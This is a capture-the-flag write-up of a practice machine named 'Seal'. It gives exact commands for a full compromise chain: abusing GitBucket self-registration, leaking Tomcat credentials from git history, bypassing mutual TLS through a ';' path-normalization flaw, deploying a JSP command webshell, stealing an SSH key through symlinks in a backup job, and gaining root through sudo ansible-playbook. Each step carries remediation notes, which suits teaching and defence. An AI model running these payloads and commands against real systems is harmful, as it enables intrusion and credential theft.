Seal
Summary
I scanned the target and found three services: SSH, an nginx HTTPS reverse proxy enforcing mutual-TLS client certificates, and a GitBucket source-code host on port 8080. Open self-registration on GitBucket allowed any visitor to create an account and browse private infrastructure repositories; the commit history of one repository contained plaintext Tomcat Manager credentials.
An Nginx path-normalization flaw — where semicolon path-parameter segments caused Nginx to misroute requests — let me reach the Tomcat Manager endpoint that mutual-TLS was meant to gate, using only those leaked credentials. A malicious WAR file was deployed through Manager, producing remote code execution as the Tomcat service account.
That account had write access to an upload directory periodically archived by a privileged Ansible backup job that followed symlinks; planting a symlink pointing at the next user's SSH private key caused the key to be bundled into the next archive, from which it was recovered via the webshell. SSH access as that user revealed an unrestricted passwordless sudo rule for ansible-playbook, which was abused to run my own shell commands as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for pwnrace>"Attack path — how the box was taken
Exact commands 2
Identify service versions and extract the TLS certificate subject/CN.
$ nmap -Pn -sV -p 22,443,8080 --script ssl-cert,http-title $TARGETAdd the discovered vhost so subsequent HTTPS requests resolve to the correct IP.
$ echo "$TARGET seal.htb" | sudo tee -a /etc/hostsExact commands 4
Self-register a throwaway account — no admin approval prompt was presented.
$ curl -sS -c gb.cookie "http://$TARGET:8080/register" --data-urlencode 'userName=pwnrace' --data-urlencode "password=$PASSWORD2" --data-urlencode 'fullName=Test'Log in and capture the session cookie for subsequent API calls.
$ curl -sS -b gb.cookie -c gb.cookie -X POST "http://$TARGET:8080/signin" --data-urlencode 'userName=pwnrace' --data-urlencode "password=$PASSWORD2"List all repositories visible to the authenticated user.
$ curl -sS -b gb.cookie "http://$TARGET:8080/api/v3/repositories"Clone both discovered repositories for offline history inspection.
$ git clone http://$USERNAME:$PASSWORD2@$TARGET:8080/git/root/infra.git /tmp/infra && git clone http://$USERNAME:$PASSWORD2@$TARGET:8080/git/root/seal_market.git /tmp/seal_marketFixDisable or gate GitBucket self-registration and restrict repository visibilityHigh
Exact commands 2
List every commit across all branches to surface historical changes.
$ git -C /tmp/infra log --all --onelineSearch all commit diffs for credential and configuration strings.
$ git -C /tmp/infra log --all -p | grep -A5 -B5 -i 'password\|tomcat-users\|manager'FixRotate exposed credentials and prevent secrets from entering version controlCritical
Exact commands 1
A 200 response that issues a JSESSIONID confirms the mTLS ACL was bypassed. Capture the session cookie for the next step.
$ curl -sk -u "tomcat:$PASSWORD" --resolve seal.htb:443:$TARGET -D - -o /dev/null 'https://seal.htb/manager/status/..;/html'FixEliminate the Nginx/Tomcat path-normalization bypass and isolate Tomcat Manager from direct network accessCritical
Exact commands 4
Write a minimal one-line JSP command shell to the staging directory.
$ mkdir -p /tmp/pwnwar && printf '<%@page import="java.io.*"%><%String c=request.getParameter("c");Process p=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=r.readLine())!=null)out.println(l);%%>' > /tmp/pwnwar/cmd.jspPackage the JSP into a WAR archive suitable for Tomcat deployment.
$ jar cf /tmp/pwn.war -C /tmp/pwnwar .Deploy the WAR via the Manager Text API; the JSESSIONID from the normalization-bypass request is reused.
$ curl -sk --resolve seal.htb:443:$TARGET -u "tomcat:$PASSWORD" -F 'war=@/tmp/pwn.war' 'https://seal.htb/manager/text/deploy?path=/pwn&update=true'Verify RCE: expect uid=997(tomcat) and the target hostname seal.
$ curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=id && hostname' 'https://seal.htb/pwn/cmd.jsp'Exact commands 4
Confirm the upload directory is writable by tomcat and learn the backup archive naming pattern and cadence.
$ curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=ls -la /opt/backups/archives/ && ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/' 'https://seal.htb/pwn/cmd.jsp'Plant the symlink; wait for the next Ansible backup cycle to archive it (poll /opt/backups/archives for a new file).
$ curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=ln -sf /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/pwn_luis_id_rsa' 'https://seal.htb/pwn/cmd.jsp'Extract luis's private key from the archive; replace the timestamp with the actual newest archive filename.
$ curl -sk --max-time 12 --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=tar -xOzf /opt/backups/archives/backup-2026-07-14-08:25:31.gz dashboard/uploads/pwn_luis_id_rsa | base64 -w0' 'https://seal.htb/pwn/cmd.jsp' | base64 -d > /tmp/luis_id_rsa && chmod 600 /tmp/luis_id_rsaLog in as luis using the stolen key and retrieve the user flag (placeholder: <user.txt>).
$ ssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null luis@$TARGET 'cat /home/luis/user.txt'FixRestrict upload directory permissions and disable symlink-following in the Ansible backup jobHigh
Exact commands 4
Confirm the sudo rule: expect '(ALL) NOPASSWD: /usr/bin/ansible-playbook'.
$ ssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no luis@$TARGET 'sudo -n -l'Write a playbook that executes shell commands as root; replace the shell line with any desired command.
$ cat > /tmp/root.yml << 'EOF'
- hosts: localhost
gather_facts: false
tasks:
- name: root proof
shell: id && cat /root/root.txt
register: proof
- debug:
var: proof.stdout_lines
EOFUpload the malicious playbook to the target.
$ scp -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no /tmp/root.yml luis@$TARGET:/tmp/root.ymlExecute the playbook as root; output includes uid=0(root) and root.txt content (placeholder: <root.txt>).
$ ssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no luis@$TARGET 'sudo -n /usr/bin/ansible-playbook /tmp/root.yml'FixRemove or strictly scope the unrestricted passwordless sudo rule for ansible-playbookCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.